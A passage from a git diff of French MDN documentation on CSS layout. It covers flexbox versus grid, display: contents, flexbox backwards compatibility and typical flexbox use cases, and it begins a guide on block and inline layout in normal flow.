La réponse la plus directe se trouve dans ces deux spécifications. Les boîtes flexibles sont une méthode de disposition unidimensionnelle alors que la grille CSS est une méthode de disposition bidimensionnelle. Dans l'exemple ci-après, on utilise une disposition avec les boîtes flexibles. Comme nous avons vu dans l'article sur les concepts de base, les éléments flexibles peuvent « passer à la ligne » mais chaque ligne forme alors un conteneur flexible indépendant. On voit ici que l'espace est distribué sans prendre en compte le placement des éléments sur les autres lignes/colonnes, il n'y a pas d'alignement.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/flex-layout.html", '100%', 750)}}

+ +

Si on crée une disposition semblable avec une grille, on peut à la fois contrôler la disposition des lignes et des colonnes.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/grid-layout.html", '100%', 700)}}

+ +

Ces exemples illustrent une autre différence majeure entre ces méthodes. Avec la disposition en grille, la majeure partie du dimensionnement s'applique au conteneur (on y définit les pistes et on place les éléments sur ces pistes). Avec la disposition utilisant les boîtes flexibles, on crée un conteneur flexible et on indique sa direction, tout le reste est géré au niveau des éléments.

+ +

Dans certains cas, les deux méthodes peuvent fonctionner sans problème. En les utilisant plus fréquemment, vous pourrez voir qu'elles répondent à des besoins différents et vous utiliserez sans doute ces deux méthodes dans votre CSS. Comme souvent, il n'y a pas de solution miracle et de « bonne » ou de « mauvaise » réponse.

+ +

De façon générale, si vous ajoutez des marges autour d'éléments flexibles afin que ceux-ci soient alignés, vous devriez utiliser une méthode de disposition bidimensionnelle comme la grille CSS qui vous permettra de mieux organiser votre contenu. La taille du composant à mettre en forme n'a pas d'importance, on n'utilisera pas plus les boîtes flexibles pour un « petit » composant et la grille pour un « grand ». Essayez les différentes méthodes, profitez de la liberté de choix qui existe désormais avec ces outils.

+ +

Pour approfondir cette comparaison entre la grille et les boîtes flexibles, vous pouvez consulter cet article à propos des relations entre la grille CSS et les autres méthodes de disposition. Cet article détaille les nombreuses différences entre la grille CSS et les boîtes flexibles ; il illustre aussi les fonctionnalités supplémentaires provenant de la grille. Cet article pourra vous aider à choisir la méthode de disposition à privilégier.

+ +

Les boîtes flexibles et display: contents

+ +

La valeur contents de la propriété {{cssxref("display")}} est une nouvelle valeur, décrite ainsi dans la spécification :

+ +
+

« L'élément ne génère aucune boîte de lui-même mais ses éléments fils et ses pseudo-éléments continuent de générer des boîtes normalement. En termes de génération de boîtes et de disposition, l'élément doit être traité comme s'il avait été remplacé par ses éléments fils et ses pseudo-éléments dans l'arbre du document. »

+
+ +

La valeur de la propriété display contrôle la façon dont les boîtes sont générées et si un élément doit générer une boîte qui puisse être mise en forme et vue sur la page ou si la boîte normalement créée devrait être retirée afin que ses éléments fils soient « remontés » dans l'arbre et participent à la disposition dont l'élément (parent) aurait dû faire partie. Un exemple étant beaucoup plus efficace qu'un long discours, passons à la suite.

+ +

Dans l'exemple suivant on dispose d'un conteneur flexible avec trois éléments fils. L'un de ces éléments flexibles possède deux éléments à l'intérieur. Normalement, ces deux éléments ne participent pas à la disposition en boîtes flexibles, car cette disposition s'applique uniquement aux éléments fils directs du conteneur flexible.

+ +

En ajoutant display: contents à l'élément flexible qui contient deux éléments fils, on peut voir que l'élément disparaît de la disposition et permet à ses deux éléments fils d'agir comme des éléments flexibles. Vous pouvez essayer de retirer la ligne avec display: contents afin que l'élément parent « revienne ».

+ +

On notera que cela ne retire que la boîte de la disposition. Les éléments fils au deuxième niveau ne deviennent pas des éléments fils directs pour d'autres notions. On peut voir dans l'exemple qu'on utilise un sélecteur sur les éléments fils directs pour gérer l'arrière-plan et les bordures : ces styles n'ont pas été appliqués aux éléments fils de deuxième rang. Ces éléments ont été disposés comme des éléments flexibles, mais ils ne récupèrent pas la mise en forme des éléments fils directs.

+ +
+

Attention ! Utiliser display: contents entraînera la suppression de l'élément dans l'arbre d'accessibilité et les lecteurs d'écran ne pourront pas en voir le contenu (comme si on avait utilisé display: none). La valeur contents doit uniquement être utilisée pour les éléments de présentation (et pas de contenu).

+
+ +

En retirant la boîte de l'élément parent, on ne peut pas utiliser cette boîte pour, par exemple, ajouter une couleur d'arrière-plan commune aux éléments fils imbriqués. Si on retire display: contents dans l'exemple, on peut voir que l'arrière-plan orange rattaché à l'élément disparaît avec la boîte.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/display-contents.html", '100%', 650)}}

+ +

La prise en charge de display:contents est actuellement limitée parmi les différents navigateurs et cette fonctionnalité est nécessaire au bon fonctionnement de cette démonstration. Firefox prend en charge display: contents et la gestion de cette valeur est en cours d'implémentation dans Chrome. Lorsque cette fonctionnalité sera plus largement disponible, elle sera très utile lorsqu'on souhaitera utiliser une structure à des fins sémantiques mais sans, pour autant, afficher les boîtes générées par défaut.

diff --git "a/files/fr/web/css/css_flexible_box_layout/r\303\251trocompatibilite_de_flexbox/index.html" "b/files/fr/web/css/css_flexible_box_layout/r\303\251trocompatibilite_de_flexbox/index.html" deleted file mode 100644 index b36e1eb0f4..0000000000 --- "a/files/fr/web/css/css_flexible_box_layout/r\303\251trocompatibilite_de_flexbox/index.html" +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: Rétrocompatibilité de flexbox -slug: Web/CSS/CSS_Flexible_Box_Layout/Rétrocompatibilite_de_flexbox -tags: - - '@supports' - - Boîtes flexibles - - CSS - - Guide - - Intermediate - - flexbox -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox ---- -
{{CSSRef}}
- -

Les boîtes flexibles (flexbox) sont largement prises en charge parmi les navigateurs modernes. Toutefois, quelques problèmes peuvent survenir. Dans ce guide, nous verrons précisément quelle est la prise en charge des boîtes flexibles dans les navigateurs. Nous verrons les problèmes éventuels ainsi que les ressources et méthodes afin de créer des méthodes de contournement ou des alternatives.

- -

Il était une fois flexbox…

- -

Comme toute spécification CSS, la spécification Flexbox a vu de nombreuses modifications avant d'atteindre le statut de Candidate Recommendation dont elle dispose aujourd'hui. Dans cet état actuel, il ne devrait pas y avoir de modification majeur dans la spécification, mais cette stabilité n'a pas toujours existé par le passé.

- -

Les boîtes flexibles ont été implémentées de façon expérimentale dans plusieurs navigateurs. À cette époque, créer une implémentation expérimentale consistait à utiliser un préfixe spécifique. Ces préfixes devaient permettre aux implémentations de la spécification d'être testées et manipulées par les développeurs des navigateurs et par les développeurs web, sans qu'il y ait de conflit avec les autres implémentations. On ne devait pas utiliser d'implémentation expérimentale pour du code de production. Toutefois, les préfixes ont fini par être utilisés en production et les modifications apportées à la spécification expérimentale nécessitaient une réactivité des développeurs web pour maintenir leurs sites.

- -

En 2009, la spécification était plutôt différente. Pour créer un conteneur flexible, il fallait utiliser display: box et on disposait ensuite de différentes propriétés box-* qui permettaient d'obtenir des résultats semblables à ceux qu'offrent les boîtes flexibles actuelles.

- -

Vint ensuite une mise à jour de la spécification pour mettre à jour la syntaxe : display: flexbox — là encore, ces valeurs étaient préfixées.

- -

Enfin, la spécification a été mise à jour pour définir display: flex comme façon de créer un conteneur flexible. La prise en charge des navigateurs sur la version à jour de la spécification est excellent à partir de ce moment.

- -

Quelques anciens articles font référence à d'anciennes versions de la spécification. Ceux-ci sont facilement identifiables en raison des modifications concernant la création d'un conteneur flexible. Si vous lisez des règles telles que display: box ou display: flexbox, vous pouvez en déduire qu'il s'agit d'informations obsolètes.

- -

État de la compatibilité des navigateurs

- -

La prise en charge des navigateurs pour les boîtes flexibles est excellente et la grande partie des navigateurs n'ont pas besoin de préfixe. Safari a été le dernier des principaux navigateurs à retirer les préfixes avec la sortie de Safari 9 en 2015. Les deux navigateurs pour lesquels il est nécessaire de faire attention à la compatibilité sont :

- -
    -
  • Internet Explorer 10 qui implémentait la version display: flexbox avec le préfixe -ms-.
    • -
  • UC Browser qui prend en charge la version de 2009 avec display: box et avec le préfixe -webkit-.
    • -
- -

On notera qu'Internet Explorer 11 prend bien en charge la spécification actuelle avec display: flex mais que de nombreux bugs sont présents dans cette implémentation.

- -

Problèmes fréquents

- -

La plupart des problèmes relatifs aux boîtes flexibles sont liés aux modifications de la spécification lors de son développement et au fait que de nombreux développeurs ont essayé d'utiliser des implémentations expérimentales en production. Si vous souhaitez garantir une rétrocompatibilité avec certaines anciennes versions de navigateurs et notamment IE10 et IE11, le site Flexbugs représente une ressource précieuse. Vous pourrez voir que de nombreux bugs sont présents pour d'anciennes versions des navigateurs et sont désormais corrigés pour les versions actuelles. Chacun de ces bugs possède une méthode de contournement associée, ce qui peut faire gagner un temps précieux.

- -

Si vous souhaitez inclure de très anciens navigateurs prenant en charge les boîtes flexibles, il vous faudra inclure les préfixes éditeurs dans votre feuille CSS, en plus de la version non-préfixée. Cela devient de moins en moins nécessaire vue l'étendue de la compatibilité actuelle.

- -
.wrapper {
-  display: -webkit-box;
-  display: -webkit-flex;
-  display: -ms-flexbox;
-  display: flex;
-}
- -

Autoprefixer Online est un outil utile pour déterminer quels préfixes sont recommandés selon les versions des navigateurs qu'on souhaite prendre en charge. Vous pouvez également consulter Can I Use ou les tableaux de compatibilité en bas des pages de référence MDN pour savoir quand les préfixes ont été retirés des navigateurs.

- -

Techniques de recours

- -

La mise en place des boîtes flexibles dans un document est effectuée grâce à la propriété {{cssxref("display")}}. Lorsqu'on souhaite prendre en charge de très anciens navigateurs qui ne prennent pas du tout en charge les boîtes flexibles, des méthodes alternatives peuvent être construites en surchargeant une méthode de disposition par une autre. La spécification définit ce qui se produit si on utilise une autre méthode de disposition sur un élément qui devient ensuite un élément flexible.

- -

Éléments flottants

- -
-

“float et clear ne créent pas de flottement ou de dégagement pour les éléments flexibles et ne les retirent pas du flux.” - 3. Conteneurs flexibles

-
- -

Dans l'exemple qui suit, on a deux blocs flottants et on applique ensuite display: flex sur le conteneur. Les éléments sont alors des éléments flexibles ce qui signifie qu'ils sont étirés sur des hauteurs égales. Tout comportement associé au flottement n'aura pas lieu.

- -

Pour tester le comportement alternatif, vous pouvez retirer display: flex du conteneur englobant.

- -

{{EmbedGHLiveSample("css-examples/flexbox/browsers/float.html", '100%', 550)}}

- -

display: inline-block

- -

Lorsqu'un élément disposé avec inline-block devient un élément flexible, cet élément devient analogue à un bloc et le comportement de display: inline-block qui permet de conserver les espaces blancs entre les éléments ne s'applique plus.

- -

Vous pouvez retirer la règle avec display: flex dans l'exemple qui suit pour voir le comportement alternatif. Vous verrez de l'espace ajouté entre les éléments car c'est ce que préfère display: inline-block.

- -

{{EmbedGHLiveSample("css-examples/flexbox/browsers/inline-block.html", '100%', 550)}}

- -

display: table-

- -

Les propriétés CSS relatives aux dispositions en tableaux s'avèrent potentiellement très utiles comme méthode de recours car elles permettent d'obtenir des organisations de contenu analogues avec des colonnes sur toute la hauteur, du centrage vertical et car elles fonctionnent jusqu'à Internet Explorer 8.

- -

Si vous utilisez display: table-cell sur un élément HTML, cet élément récupèrera la mise en forme d'une cellule de tableau HTML. Pour celles-ci, CSS crée des boîtes anonymes qui représentent ces éléments et il n'est pas nécessaire d'envelopper chaque élément dans un conteneur pour représenter une ligne puis dans un second qui représente le tableau. Il n'est pas possible de mettre en forme ces boîtes anonymes, celles-ci servent uniquement à corriger la structure.

- -

Si vous déclarez ensuite display: flex sur l'élément parent, ces boîtes anonymes ne sont pas créées et l'élément redevient un enfant direct qui peut devenir un élément flexible, perdant tout aspect relatif au tableau.

- -
-

“Note : certaines valeurs de display déclenchent normalement la création de boîtes anonymes autour de la boîte originale. Si une telle boîte est un élément flexible, cet élément devient un bloc puis la création des boîtes anonymes n'a pas lieu. Ainsi, deux éléments flexibles adjacents avec display: table-cell deviendront deux éléments flexibles distincts avec display: block plutôt que d'être enveloppés au sein d'un même tableau anonyme.” - 4. Éléments flexibles

-
- -

{{EmbedGHLiveSample("css-examples/flexbox/browsers/table-cell.html", '100%', 550)}}

- -

La propriété vertical-align

- -

L'exemple qui suit illustre l'utilisation de la propriété {{cssxref("vertical-align")}} associée au mode display: inline-block. Les deux modes display: table-cell et display: inline-block permettent d'utiliser cette propriété. La propriété vertical-align permet d'opérer un alignement vertical avant l'application des boîtes flexibles. Cette propriété est ignorée avec les boîtes flexibles et elle peut donc être utilisée avec display: table-cell ou display: inline-block comme méthode d'alignement alternative aux propriétés d'alignement des boîtes flexibles.

- -

{{EmbedGHLiveSample("css-examples/flexbox/browsers/vertical-align.html", '100%', 550)}}

- -

Requêtes de fonctionnalités et flexbox

- -

Il est possible d'utiliser les requêtes de fonctionnalité (feature queries) afin de détecter la prise en charge des boîtes flexibles :

- -
@supports (display: flex) {
-  // code utilisé pour les navigateurs qui
-  // prennent en charge cette fonctionnalité
-}
- -

On notera qu'Internet Explorer 11 ne prend pas en charge les requêtes de fonctionnalité mais prend bien en charge les boîtes flexibles. Si vous choisissez de considérer l'implémentation d'IE11 comme étant trop erronée et que vous souhaitez que ce navigateur utilise votre code de recours, vous pouvez alors utiliser les requêtes de fonctionnalité pour ne servir le code flexbox qu'aux navigateurs qui disposent d'une prise en charge suffisante. Pour rappel, si on souhaite inclure les versions des navigateurs qui utilisaient des préfixes spécifiques, on devra inclure la version préfixée dans la requête de fonctionnalité. La requête suivant inclura par exemple UC Browser qui prend en charge les requêtes de fonctionnalités et une ancienne syntaxe, préfixée, pour les boîtes flexibles :

- -
@supports (display: flex) or (display: -webkit-box) {
-  // code pour les navigateurs qui
-  // prennent en charge cette fonctionnalité
-}
- -

Pour plus d'informations sur les requêtes de fonctionnalités, vous pouvez lire Using Feature Queries in CSS (en anglais) sur le blog Hacks de Mozilla.

- -

Conclusion

- -

Bien que nous ayons vu ici certains problèmes potentiels et méthodes alternatives, les boîtes flexibles peuvent tout à fait être utilisées en production et de façon généralisée. Ce guide vous sera utile si vous rencontrez un problème particulier ou qu'il vous faut prendre en charge de plus vieux navigateurs.

diff --git a/files/fr/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html b/files/fr/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html new file mode 100644 index 0000000000..26a4738980 --- /dev/null +++ b/files/fr/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html @@ -0,0 +1,140 @@ +--- +title: Cas d'utilisation classiques de flexbox +slug: Web/CSS/CSS_Flexible_Box_Layout/Cas_utilisation_flexbox +tags: + - CSS + - Guide + - Intermediate + - flexbox +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox +--- +

{{CSSRef}}

+ +

Dans ce guide, nous verrons quels sont les cas d'utilisation classiques pour les boîtes flexibles et lorsque cette méthode est plus pertinente qu'une autre méthode de disposition.

+ +

Pourquoi choisir les boîtes flexibles ?

+ +

Dans un monde où la compatibilité entre navigateurs serait un lointain souvenir, on pourrait choisir d'utiliser les boîtes flexibles lorsqu'on souhaite organiser un ensemble d'élément dans une direction ou dans une autre. Lorsqu'on place les éléments, on souhaite contrôler les dimensions de ces éléments dans cette direction ou contrôler l'espacement ainsi créé entre les éléments. C'est ce pourquoi les boîtes flexibles ont été conçues. Vous pouvez approfondir les différences entre les boîtes flexibles et la disposition en grille CSS avec l'article sur les relations entre flexbox et les autres méthodes de disposition où nous voyons comment s'inscrivent les boîtes flexibles dans le paysage de CSS.

+ +

Dans la réalité, on utilise souvent les boîtes flexibles pour créer des organisations qu'il serait plus pertinent de construire avec une disposition en grille et pour lesquelles les boîtes flexibles sont une méthode de recours et offrent une certaine capacité d'alignement. Sur ce deuxième aspect, cela pourra évoluer lorsque l'alignement des boîtes sera implémenté dans la disposition en bloc. Dans ce guide, nous verrons quels sont les cas classiques où on utilise les boîtes flexibles aujourd'hui.

+ +

La navigation

+ +

Un motif souvent utilisé pour la navigation consiste à avoir une liste d'objets qui forment une barre horizontale. Ce motif, bien que simple, était plutôt compliqué à obtenir avant l'apparition des boîtes flexibles. C'est l'exemple le plus simple pour les boîtes flexibles et cela constitue un cas d'utilisation idéal.

+ +

Lorsqu'on a un ensemble d'objets qu'on souhaite organiser horizontalement, on peut avoir plus d'espace que nécessaire. Il faut décider comment utiliser cet espace : on peut afficher cet espace entre les éléments afin de les espacer ou bien agrandir les objets. Dans ce dernier cas, il nous faut une méthode pour permettre aux objets de grandir et d'occuper cet espace.

+ +

L'espace distribué en dehors des éléments

+ +

Pour répartir l'espace entre les éléments ou autour d'eux, on pourra utiliser les propriétés d'alignement des boîtes flexibles et la propriété {{cssxref("justify-content")}}. Vous pouvez approfondir cette propriété avec le guide Aligner des objets dans un conteneur flexible, qui décrit comment aligner des objets sur l'axe principal.

+ +

Dans l'exemple qui suit, on affiche les éléments en utilisant leur taille naturelle et on écrit justify-content: space-between afin de répartir l'espace équitablement entre chaque élément. Cette répartition de l'espace peut être modifiée en utilisant la valeur space-around ou, lorsqu'elle est prise en charge, la valeur space-evenly. On peut également utiliser flex-start afin de placer l'espace après les éléments ou encore flex-end pour placer l'espace avant les éléments voire center afin de centrer les éléments.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation.html", '100%', 550)}}

+ +

L'espace distribué au sein des éléments

+ +

On pourrait aussi répartir cet espace disponible afin d'agrandir les éléments plutôt que de les espacer. Dans ce cas, on utilisera les propriétés  {{cssxref("flex")}} afin de permettre aux éléments de grandir/rétrécir proportionnellement les uns aux autres, comme nous avons pu le détailler dans Contrôler les proportions des éléments flexibles le long de l'axe principal.

+ +

Si on souhaite que tous les éléments de la barre aient la même largeur, on utilisera flex: auto qui correspond à la notation raccourcie de flex: 1 1 auto — tous les objets grandissent et rétrécissent de la même façon à partir d'une taille de base automatique. Cela signifie que le plus grand élément occupera plus d'espace.

+ +

Dans l'exemple qui suit, vous pouvez modifier flex: auto pour utiliser flex: 1 qui correspond à la notation raccourcie de flex: 1 1 0 et qui permet d'avoir la même largeur pour chaque élément, car la base (flex-basis) vaut 0 et permet de répartir l'intégralité de l'espace de façon équitable.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation-flex.html", '100%', 550)}}

+ +

La navigation séparée

+ +

Une autre façon d'aligner les éléments le long de l'axe principal consiste à utiliser des marges automatiques. Cela permet d'obtenir une barre où une partie des éléments sont alignés à gauche alors qu'un second groupe est aligné à droite.

+ +

Dans l'exemple qui suit, on utilise la technique des marges automatiques détaillée dans Utiliser les marges automatiques pour l'alignement sur l'axe principal. Les éléments sont alignés le long de l'axe principal avec flex-start, ce qui correspond au comportement initial (par défaut) des boîtes flexibles, et on affecte une marge automatique à gauche pour les éléments qu'on souhaite aligner à droite. Dans le code de l'exemple, vous pouvez déplacer la classe pour l'appliquer sur un autre élément afin de voir comment la césure se déplace.

+ +

Dans cet exemple, on utilise également des marges sur les éléments flexibles afin de créer des gouttières entre les éléments ainsi qu'une marge négative sur le conteneur afin que les éléments aux extrémités soient bien alignés sur les bords gauche et droit. Tant que les propriétés gap de la spécification sur l'alignement des boîtes (Box Alignment) ne sont pas implémentées pour les boîtes flexibles, il nous faut utiliser les marges de cette façon si on souhaite créer une gouttière entre les éléments.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/split-navigation.html", '100%', 550)}}

+ +

Centrer des éléments

+ +

Avant l'apparition des boîtes flexibles, une blague récurrente consistait à dire qu'un des défis majeur sur le Web était le centrage vertical des éléments. Disposant désormais des propriétés d'alignement pour les boîtes flexibles, surmonter ce défi est beaucoup plus accessible. Nous allons le voir dans l'exemple suivant.

+ +

Vous pouvez manipuler les propriétés d'alignement pour aligner les objets au début avec flex-start ou à la fin avec flex-end.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/center.html", '100%', 700)}}

+ +

À l'avenir, il ne sera peut-être plus nécessaire d'utiliser un conteneur flexible afin de centrer un seul élément, car les propriétés d'alignement des boîtes auront également été implémentées pour la disposition en bloc. Mais aujourd'hui, si on souhaite correctement centrer un objet dans un centre, il faut utiliser les boîtes flexibles. On procède comme dans l'exemple ci-avant : on modifie le conteneur afin que ce soit un conteneur flexible puis on utilise la propriété align-items sur l'élément parent ou bien on cible l'élément voulu avec align-self.

+ +

Une disposition en cartes avec un pied ajustable

+ +

Qu'on utilise les boîtes flexibles ou les grilles CSS afin d'organiser une liste de cartes, ces méthodes fonctionnent uniquement sur les éléments fils directs du conteneur flexible ou du conteneur de grille. Cela signifie que si on dispose d'une quantité de contenu variable, la carte s'étirera sur toute la hauteur de la grille ou sur toute la hauteur du conteneur flexible. Tout le contenu à l'intérieur utilise une disposition en bloc classique qui signifie que le pied de page d'une carte avec moins de contenu sera plus haut que celui d'une carte disposant de plus de contenu pour lequel le pied est bien aligné en bas de la carte.

+ +

Deux composants "carte" montrant que l'élément contenant le texte ne s'étire pas.

+ +

On peut résoudre ce problème avec les boîtes flexibles. Pour commencer, on transforme la carte en conteneur flexible avec {{cssxref("flex-direction")}}: column. Ensuite, on affecte un coefficient flex: 1 à la zone du contenu (ce qui correspond à la notation raccourcie flex: 1 1 0) : l'élément pourra s'étirer ou se rétrécir avec une base 0. Comme c'est le seul élément de la carte qui peut grandir, il occupera tout l'espace encore disponible dans le conteneur flexible et poussera le pied en bas de carte. Dans l'exemple qui suit, si on retire la propriété flex, on peut voir le pied remonter pour être inscrit directement après le contenu.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/cards.html", '100%', 800)}}

+ +

Les objets média

+ +

Un objet média est un motif classique en design web. Dans ce motif, on a une image ou un autre média d'un côté et le texte associé à droite. Idéalement, on souhaite pouvoir inverser les deux composants et déplacer l'image à droite.

+ +

On peut voir ce motif utilisé avec les commentaires, les endroits où on affiche des images et leur description. Avec les boîtes flexibles, on peut dimensionner l'objet média en fonction des dimensions de l'image et occuper le reste de l'espace avec le contenu textuel.

+ +

Dans l'exemple suivant, on utilise les propriétés d'alignement des objets sur l'axe secondaire avec flex-start puis on définit .content avec flex: 1. Comme vu dans l'exemple précédent, flex: 1 signifie que cette partie de la carte peut grandir.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media.html", '100%', 600)}}

+ +

Vous pouvez ici essayer d'appliquer les différentes contraintes relatives à votre conception.

+ +

Pour empêcher l'image de devenir trop large, on pourra ajouter la propriété {{cssxref("max-width")}} à l'image. Cette dimension de l'objet utilisant les valeurs initiales des propriétés flexibles, elle pourra rétrécir mais pas grandir et elle utilisera auto comme valeur pour flex-basis. Toute largeur {{cssxref("width")}} ou max-width appliquée à l'image sera utilisée comme mesure pour flex-basis.

+ +
.image img {
+  max-width: 100px;
+}
+
+ +

On peut également permettre aux deux côtés de grandir/rétrécir proportionnellement. Si on paramètre les deux côtés avec flex: 1, ils grandiront/rétréciront à partir d'une base {{cssxref("flex-basis")}} égale à 0 et on obtiendra alors deux colonnes de même taille. Si on souhaite plutôt utiliser la taille du contenu comme base, on pourra utiliser flex: auto et les deux côtés grandiront/rétréciront à partir de la taille de leur contenu ou de toute taille qui leur serait explicitement appliquée en CSS (par exemple une largeur sur l'image).

+ +
.media .content {
+  flex: 1;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}
+ +

On pourrait aussi utiliser différents coefficients {{cssxref("flex-grow")}} pour chaque côté. Utiliser flex: 1 pour le côté avec l'image et flex: 3 pour le côté avec la description signifierait qu'ils partiraient tous les deux avec une base flex-basis  0 et que l'espace serait distribué dans des proportions différentes correspondantes aux valeurs de flex-grow. Les propriétés flexibles que nous utilisons ici sont décrites en détail dans le guide Contrôler les proportions des éléments flexibles le long de l'axe principal.

+ +
.media .content {
+  flex: 3;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}
+ +

Inverser la position de l'objet média

+ +

Si on souhaite échanger la position de l'image dans l'objet média pour l'afficher à droite avec le contenu textuel à gauche, on pourra utiliser la propriété flex-direction avec la valeur row-reverse. L'objet média est désormais affiché dans l'autre sens. Dans l'exemple, cela s'obtient grâce à l'ajout de la classe flipped (en plus de la classe existante .media). Vous pouvez donc annuler cet effet en retirant la classe dans le code HTML.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media-flipped.html", '100%', 650)}}

+ +

Les contrôles de formulaire

+ +

Les boîtes flexibles s'avèrent particulièrement utiles losqu'on met en forme des contrôles de formulaires. Les formulaires sont généralement constitués de nombreux éléments qu'on souhaite aligner les uns avec les autres. Un motif fréquent se compose d'un élément {{htmlelement("input")}} associé à un élément  {{htmlelement("button")}} (par exemple un formulaire de recherche ou un champ où on souhaite qu'un visiteur saisisse une adresse électronique).

+ +

Les boîtes flexibles facilitent la construction de tels motifs. Dans l'exemple suivant, on enveloppe l'élément <button> et l'élément <input> dans un conteneur auquel on ajoute une bordure et pour lequel on a display: flex. On utilise ensuite les propriétés flexibles afin de permettre à l'élément <input> de grandir et de conserver la même taille pour le bouton. On a donc une paire d'éléments pour laquelle la zone de saisie s'ajuste en fonction de l'espace disponible.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/input-button.html", '100%', 550)}}

+ +

On pourrait ajouter un libellé ou une icône à gauche aussi facilement qu'on a ajouté un bouton à droite. Dans la version suivante, on ajoute un libellé et d'autres règles de mise en forme pour l'arrière-plan. Il n'est pas nécessaire de modifier le reste de la disposition. Le champ de saisie adaptable possède désormais moins d'espace mais continue à consommer l'espace disponible après le placement des deux autres objets.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/label-input-button.html", '100%', 550)}}

+ +

De tels motifs facilitent la création d'une bibliothèque d'éléments de formulaires pour les différents documents d'un projet. On tire parti de la flexibilité des boîtes flexibles en mélangeant les éléments qui peuvent s'étendre et ceux qui restent à une taille constante.

+ +

Conclusion

+ +

En explorant les motifs de ce guide, nous avons vu certaines des meilleures façons d'utiliser les boîtes flexibles pour obtenir le résultat souhaité. La plupart du temps, plusieurs choix s'offrent à nous. Mélanger des éléments qui peuvent s'étirer avec d'autres qui ne le peuvent pas, utiliser la taille du contenu comme point de départ ou encore permettre aux boîtes flexibles de gérer tout l'espace.

+ +

Pensez à la meilleure façon de présenter le contenu dont vous disposez puis voyez comment les boîtes flexibles ou les autres méthodes de disposition peuvent vous aider à obtenir cette présentation.

diff --git a/files/fr/web/css/css_flow_layout/block_and_inline_layout_in_normal_flow/index.html b/files/fr/web/css/css_flow_layout/block_and_inline_layout_in_normal_flow/index.html new file mode 100644 index 0000000000..8566b8accd --- /dev/null +++ b/files/fr/web/css/css_flow_layout/block_and_inline_layout_in_normal_flow/index.html @@ -0,0 +1,128 @@ +--- +title: Disposition de bloc et en ligne avec le flux normal +slug: Web/CSS/CSS_Flow_Layout/Disposition_de_bloc_en_ligne_avec_flux_normal +tags: + - CSS + - Guide + - Intermédiaire +translation_of: Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow +--- +
{{CSSRef}}
+ +

Dans ce guide, nous verrons le comportement des éléments de bloc et des éléments en ligne lorsqu'ils sont placés dans le flux normal.

+ +

Le flux normal est défini par la spécification CSS 2.1 qui explique comment les boîtes du flux normal s'inscrivent dans le contexte de formatage. Les boîtes peuvent être de bloc (block) ou en ligne (inline) mais pas les deux à la fois. Les boîtes de bloc contribuent au contexte de formatage des blocs et les boîtes en ligne contribuent au contexte de formatage en ligne.

+ +

Le comportement des éléments qui ont un contexte de formatage de bloc ou en ligne est également défini dans cette spécification. Pour les éléments avec un contexte de formatage de bloc, voici ce qui est indiqué dans la spécification :

+ +
+

« Dans un contexte de formatage de bloc, les boîtes sont disposées l'une après l'autre, verticalement, en démarrant en haut du bloc englobant. La distance verticale entre deux boîtes voisines est déterminée par les propriétés relatives aux marges. Les marges verticales fusionnent pour deux boîtes de bloc voisines au sein d'un contexte de formatage de bloc.
+
+ Dans un contexte de formatage de bloc, chaque bord gauche de chaque boîte touche le bord gauche du bloc englobant (pour les documents écrits de droite à gauche, ce sont les bords droits qui coïncident). » - 9.4.1

+
+ +

Quant aux éléments du contexte de formatage en ligne :

+ +
+

« Dans un contexte de formatage en ligne, les boîtes sont disposées horizontalement les unes après les autres, en démarrant en haut du bloc englobant. Les marges, bordures, espaces de remplissage (padding) entre ces boîtes sont respectées. L'alignement vertical des boîtes peut varier (alignement du bas et du haut ou alignement des lignes de base du texte). La zone rectangulaire contenant les boîtes qui forment une ligne est appelée une "boîte de ligne". » - 9.4.2

+
+ +

On notera que la spécification CSS 2.1 décrit des documents dont le mode d'écriture est horizontal, allant de haut en bas. C'est notamment le cas avec la description de la distance verticale entre les boîtes de bloc. Le comportement des éléments de bloc et en ligne est donc le même lorsqu'on a un mode d'écriture vertical. Nous verrons cela dans un article suivant.

+ +

Les éléments qui participent à un contexte de formatage de bloc

+ +

Les éléments de bloc organisés avec un mode d'écriture horizontal (un document en français par exemple) sont disposés verticalement les uns au dessus des autres.

+ +

+ +

Avec un mode d'écriture vertical, les boîtes seraient organisées horizontalement.

+ +

+ +

Dans la suite de ce guide, nous prendrons l'hypothèse d'un mode d'écriture horizontal. Toutefois, tout ce qui est décrit fonctionne de la même façon pour un mode d'écriture vertical.

+ +

Comme indiqué dans la spécification, les marges entre deux boîtes de bloc permettent de créer une séparation entre les éléments. On peut voir ceci dans un exemple simple avec deux paragraphes auxquels on ajoute une bordure. La feuille de style par défaut du navigateur ajoute un espace entre les paragraphes en ajoutant une marge en haut et en bas.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow.html", '100%', 700)}}

+ +

Si on définit explicitement des marges nulles sur les paragraphes, les bordures se toucheront.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-margin-zero.html", '100%', 700)}}

+ +

Par défaut, les éléments de bloc consomment tout l'espace disponible sur l'axe en ligne. Ainsi, les paragraphes « s'étalent » horizontalement autant qu'ils le peuvent au sein du bloc englobant. Si on fixait leur longueur afin que deux paragraphes puissent tenir horizontalement, ils seraient tout de même l'un au dessus de l'autre. Chaque boîte de bloc commencera au début de l'axe de bloc du bloc englobant.

+ +

